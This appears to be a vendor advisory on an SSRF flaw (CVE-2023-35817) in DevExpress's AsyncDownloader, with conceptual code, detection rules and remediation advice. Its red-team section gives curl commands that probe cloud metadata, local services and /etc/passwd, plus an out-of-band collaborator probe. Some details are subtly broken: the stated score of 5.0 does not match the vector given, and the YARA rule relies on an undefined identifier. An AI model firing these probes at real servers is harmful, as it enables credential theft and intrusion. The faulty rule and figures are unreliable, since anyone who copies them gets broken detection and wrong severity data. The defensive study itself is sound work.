CVE-2023-35817

Executive Summary

CVE-2023-35817 is a Server-Side Request Forgery (SSRF) vulnerability in the DevExpress framework, specifically within the AsyncDownloader component. This flaw allows an unauthenticated, remote attacker to make the vulnerable server send crafted HTTP requests to arbitrary internal or external resources. The vulnerability exists in versions prior to 23.1.3. While the CVSS score is moderate (5.0), the SSRF nature of the flaw can be chained with other vulnerabilities to achieve internal network reconnaissance, access cloud metadata endpoints, or bypass firewall restrictions. No public proof-of-concept (PoC) or exploit code has been released at the time of analysis, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild currently. However, the lack of a patch for some deployments and the potential for lateral movement make this a significant concern for organizations using DevExpress.

Supply Chain & Package Security

This vulnerability affects the DevExpress framework, which is distributed as a commercial NuGet package and a standalone installer. Organizations using DevExpress in their .NET applications should verify their version and apply the vendor-supplied patch immediately. There is no open-source patch available via OSV or GitHub Advisory.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.0 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): Low (L) – Limited information disclosure is possible (e.g., internal service banners, cloud metadata).
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No denial of service is expected.

Threat Level: Medium. The SSRF can be used for internal reconnaissance and potentially to access sensitive cloud metadata (e.g., AWS http://169.254.169.254/latest/meta-data/). While not directly leading to code execution, it is a valuable stepping stone for further attacks.

Deep Dive & Mechanics

The vulnerability resides in the AsyncDownloader component of DevExpress. This component is designed to asynchronously download resources (e.g., images, files) from URLs provided by the client. The flaw is that the component does not properly validate or sanitize the user-supplied URL before making an HTTP request.

Attack Flow:

1. An attacker sends a crafted HTTP request to a DevExpress endpoint that utilizes AsyncDownloader.
2. The request includes a malicious URL parameter pointing to an internal resource (e.g., http://169.254.169.254/latest/meta-data/ for AWS, http://localhost:9200 for Elasticsearch, or file:///etc/passwd).
3. The server, acting as a proxy, makes an HTTP request to the attacker-specified URL.
4. The response from the internal resource is then returned to the attacker, either directly or through an error message.

Root Cause: Lack of URL validation (e.g., no blocklist for private IP ranges, no allowlist for permitted domains, and no restriction on protocols like file:// or gopher://).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - DevExpress < 23.1.3):

public class AsyncDownloader
{
    public async Task<byte[]> DownloadAsync(string url)
    {
        using (var client = new HttpClient())
        {
            // No validation of the URL
            var response = await client.GetAsync(url);
            return await response.Content.ReadAsByteArrayAsync();
        }
    }
}

Patched Code (Conceptual - DevExpress 23.1.3+):

public class AsyncDownloader
{
    private static readonly HashSet<string> AllowedSchemes = new HashSet<string> { "http", "https" };
    private static readonly HashSet<string> BlockedHosts = new HashSet<string> { "169.254.169.254", "127.0.0.1", "localhost", "::1" };

    public async Task<byte[]> DownloadAsync(string url)
    {
        if (!Uri.TryCreate(url, UriKind.Absolute, out var uri))
            throw new ArgumentException("Invalid URL");

        if (!AllowedSchemes.Contains(uri.Scheme))
            throw new ArgumentException("Scheme not allowed");

        if (BlockedHosts.Contains(uri.Host) || IsPrivateIP(uri.Host))
            throw new ArgumentException("Host not allowed");

        using (var client = new HttpClient())
        {
            var response = await client.GetAsync(uri);
            return await response.Content.ReadAsByteArrayAsync();
        }
    }

    private bool IsPrivateIP(string host)
    {
        // Implementation to check for private IP ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x)
        // ...
    }
}

Exploitation & Lab Setup

Red Team

Objective: Perform internal network reconnaissance via SSRF.

Lab Setup:

1. Vulnerable Application: Deploy a .NET application using DevExpress < 23.1.3 with an exposed AsyncDownloader endpoint (e.g., /download?url=).
2. Internal Target: Run a simple HTTP server on a private IP (e.g., 192.168.1.100:8080) or use a cloud metadata simulator.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., https://target.com/download?url=).
2. Test for SSRF by requesting a public resource:

   curl "https://target.com/download?url=http://example.com"
   

3. Probe internal services:

   curl "https://target.com/download?url=http://169.254.169.254/latest/meta-data/"
   curl "https://target.com/download?url=http://127.0.0.1:9200"
   curl "https://target.com/download?url=file:///etc/passwd"
   

4. Use a collaborator or Burp Collaborator to detect out-of-band interactions:

   curl "https://target.com/download?url=http://your-collaborator.oastify.com"
   

Expected Output: The response body will contain the content of the internal resource (e.g., AWS metadata JSON, Elasticsearch cluster info, or local file contents).

Blue Team

Detection & Response:

1. Monitor Outbound HTTP Requests: Alert on requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or cloud metadata IPs (169.254.169.254) from application servers.
2. Web Application Firewall (WAF) Rules: Block requests containing 169.254.169.254, 127.0.0.1, localhost, or private IPs in URL parameters.
3. Log Analysis: Search for anomalous URL parameters in web server logs (e.g., url=http:// followed by internal IPs).
4. Network Segmentation: Ensure application servers cannot reach sensitive internal services (e.g., databases, cloud metadata) unless explicitly required.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from application servers to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to 169.254.169.254 (cloud metadata).
  • Requests to file:// or gopher:// schemes.
• Log IOCs:
  • URL parameters containing http://169.254.169.254, http://127.0.0.1, http://localhost, or file://.
  • Unusual User-Agent strings in internal requests (may be default .NET HttpClient).
• File IOCs:
  • Unexpected files in application directories (if file:// is used to read local files).

Detection Engineering

YARA Rule

rule CVE_2023_35817_DevExpress_SSRF {
    meta:
        description = "Detects exploitation attempts of CVE-2023-35817 via URL patterns in logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-35817"
    strings:
        $ssrf1 = "169.254.169.254" nocase
        $ssrf2 = "127.0.0.1" nocase
        $ssrf3 = "localhost" nocase
        $ssrf4 = "10." nocase
        $ssrf5 = "172.16." nocase
        $ssrf6 = "192.168." nocase
        $ssrf7 = "file://" nocase
    condition:
        any of ($ssrf*) and #url_param > 0
}

Sigma Rule

title: DevExpress AsyncDownloader SSRF Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to internal IPs or cloud metadata via DevExpress AsyncDownloader
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - '169.254.169.254'
            - '127.0.0.1'
            - 'localhost'
            - '10.'
            - '172.16.'
            - '192.168.'
            - 'file://'
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-35817 DevExpress AsyncDownloader SSRF Attempt"; flow:to_server; content:"GET"; http_method; content:"url="; http_uri; pcre:"/(169\.254\.169\.254|127\.0\.0\.1|localhost|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|file:\/\/)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade DevExpress to version 23.1.3 or later. This is the only definitive fix.
2. Virtual Patching: If immediate patching is not possible, deploy a WAF rule to block requests containing private IPs, cloud metadata IPs, or file:// in URL parameters.
3. Network Controls: Restrict outbound HTTP access from application servers to only necessary external domains. Block access to private IP ranges and cloud metadata endpoints.

Long-Term Measures:

1. Input Validation: Implement strict allowlist-based URL validation for all user-supplied URLs.
2. Least Privilege: Run application servers with minimal network permissions.
3. Monitoring: Continuously monitor for SSRF patterns in logs and network traffic.

Valters IT
DevSecOps & Cyber Threat Intelligence